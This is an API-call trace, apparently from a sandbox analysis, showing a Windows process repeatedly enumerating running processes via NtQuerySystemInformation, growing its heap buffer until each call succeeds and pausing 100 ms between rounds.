	[0067.582] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.583] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xc1b0) returned 0x28a62f0
	[0067.583] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.583] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xd1d4) returned 0x28a62f0
	[0067.583] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.584] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xe1f8) returned 0x28a62f0
	[0067.584] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.584] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xf21c) returned 0x28a62f0
	[0067.584] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.585] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x10240) returned 0x28a62f0
	[0067.585] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.585] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x11264) returned 0x28a62f0
	[0067.585] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.585] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x12288) returned 0x28a62f0
	[0067.586] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.586] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x132ac) returned 0x28de680
	[0067.588] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.589] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x142d0) returned 0x28de680
	[0067.589] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.589] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x152f4) returned 0x28de680
	[0067.589] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.590] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x16318) returned 0x28de680
	[0067.590] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.590] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1733c) returned 0x28de680
	[0067.590] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.591] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x18360) returned 0x28de680
	[0067.591] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.591] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x19384) returned 0x28de680
	[0067.591] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.592] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1a3a8) returned 0x28de680
	[0067.592] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.592] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1b3cc) returned 0x28de680
	[0067.592] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.593] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1c3f0) returned 0x28de680
	[0067.593] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.593] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1d414) returned 0x28de680
	[0067.594] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.594] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1e438) returned 0x28de680
	[0067.594] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.595] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1f45c) returned 0x28de680
	[0067.595] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.595] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x20480) returned 0x28de680
	[0067.595] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.596] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x214a4) returned 0x28de680
	[0067.596] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.596] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x224c8) returned 0x28de680
	[0067.596] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.597] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x234ec) returned 0x28de680
	[0067.597] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.597] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x24510) returned 0x28de680
	[0067.597] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0x0
	[0067.598] Sleep (dwMilliseconds=0x64) 
	[0067.728] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882180, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x2882180, ResultLength=0x0) returned 0xc0000004
	[0067.728] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882180, Size=0x2048) returned 0x28be6a0
	[0067.728] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be6a0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x28be6a0, ResultLength=0x0) returned 0xc0000004
	[0067.729] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be6a0, Size=0x306c) returned 0x2894bd8
	[0067.729] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0067.729] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x4090) returned 0x2894bd8
	[0067.729] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0067.729] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x50b4) returned 0x28a62f0
	[0067.729] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.730] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x60d8) returned 0x28a62f0
	[0067.730] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.730] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x70fc) returned 0x28a62f0
	[0067.730] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.730] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x8120) returned 0x28a62f0
	[0067.730] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.730] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x9144) returned 0x28a62f0
	[0067.730] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.731] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xa168) returned 0x28a62f0
	[0067.731] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.731] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xb18c) returned 0x28a62f0
	[0067.731] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.731] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xc1b0) returned 0x28a62f0
	[0067.731] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.732] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xd1d4) returned 0x28a62f0
	[0067.732] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.732] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xe1f8) returned 0x28a62f0
	[0067.732] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.732] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xf21c) returned 0x28a62f0
	[0067.732] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.733] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x10240) returned 0x28a62f0
	[0067.733] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.733] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x11264) returned 0x28a62f0
	[0067.733] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.733] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x12288) returned 0x28a62f0
	[0067.733] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.734] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x132ac) returned 0x28de680
	[0067.734] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.734] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x142d0) returned 0x28de680
	[0067.734] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.734] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x152f4) returned 0x28de680
	[0067.734] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.735] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x16318) returned 0x28de680
	[0067.735] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.735] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1733c) returned 0x28de680
	[0067.735] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.736] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x18360) returned 0x28de680
	[0067.736] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.736] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x19384) returned 0x28de680
	[0067.736] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.736] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1a3a8) returned 0x28de680
	[0067.736] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.737] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1b3cc) returned 0x28de680
	[0067.737] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.737] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1c3f0) returned 0x28de680
	[0067.737] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.738] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1d414) returned 0x28de680
	[0067.738] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.738] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1e438) returned 0x28de680
	[0067.738] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.739] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1f45c) returned 0x28de680
	[0067.739] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.739] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x20480) returned 0x28de680
	[0067.739] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.739] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x214a4) returned 0x28de680
	[0067.739] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.740] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x224c8) returned 0x28de680
	[0067.740] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.740] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x234ec) returned 0x28de680
	[0067.740] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.742] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x24510) returned 0x28de680
	[0067.742] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0x0
	[0067.746] Sleep (dwMilliseconds=0x64) 
	[0067.965] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28887b0, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x28887b0, ResultLength=0x0) returned 0xc0000004
	[0067.967] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28887b0, Size=0x2048) returned 0x28cb2d0
	[0067.967] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28cb2d0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x28cb2d0, ResultLength=0x0) returned 0xc0000004
	[0067.967] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28cb2d0, Size=0x306c) returned 0x2894bd8
	[0067.967] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0067.968] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x4090) returned 0x2894bd8
	[0067.968] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0067.968] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x50b4) returned 0x28a62f0
	[0067.969] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.970] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x60d8) returned 0x28a62f0
	[0067.970] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.970] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x70fc) returned 0x28a62f0
	[0067.970] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.972] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x8120) returned 0x28a62f0
	[0067.972] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.972] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x9144) returned 0x28a62f0
	[0067.972] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.972] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xa168) returned 0x28a62f0
	[0067.973] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.973] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xb18c) returned 0x28a62f0
	[0067.973] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.973] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xc1b0) returned 0x28a62f0
	[0067.973] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.974] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xd1d4) returned 0x28a62f0
	[0067.974] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.974] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xe1f8) returned 0x28a62f0
	[0067.974] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.975] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xf21c) returned 0x28a62f0
	[0067.975] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.975] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x10240) returned 0x28a62f0
	[0067.975] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.976] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x11264) returned 0x28a62f0
	[0067.976] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.976] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x12288) returned 0x28a62f0
	[0067.976] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.977] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x132ac) returned 0x28de680
	[0067.979] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.980] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x142d0) returned 0x28de680
	[0067.980] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.980] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x152f4) returned 0x28de680
	[0067.980] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.981] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x16318) returned 0x28de680
	[0067.981] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.981] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1733c) returned 0x28de680
	[0067.981] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.982] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x18360) returned 0x28de680
	[0067.982] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.982] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x19384) returned 0x28de680
	[0067.983] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.983] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1a3a8) returned 0x28de680
	[0067.983] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
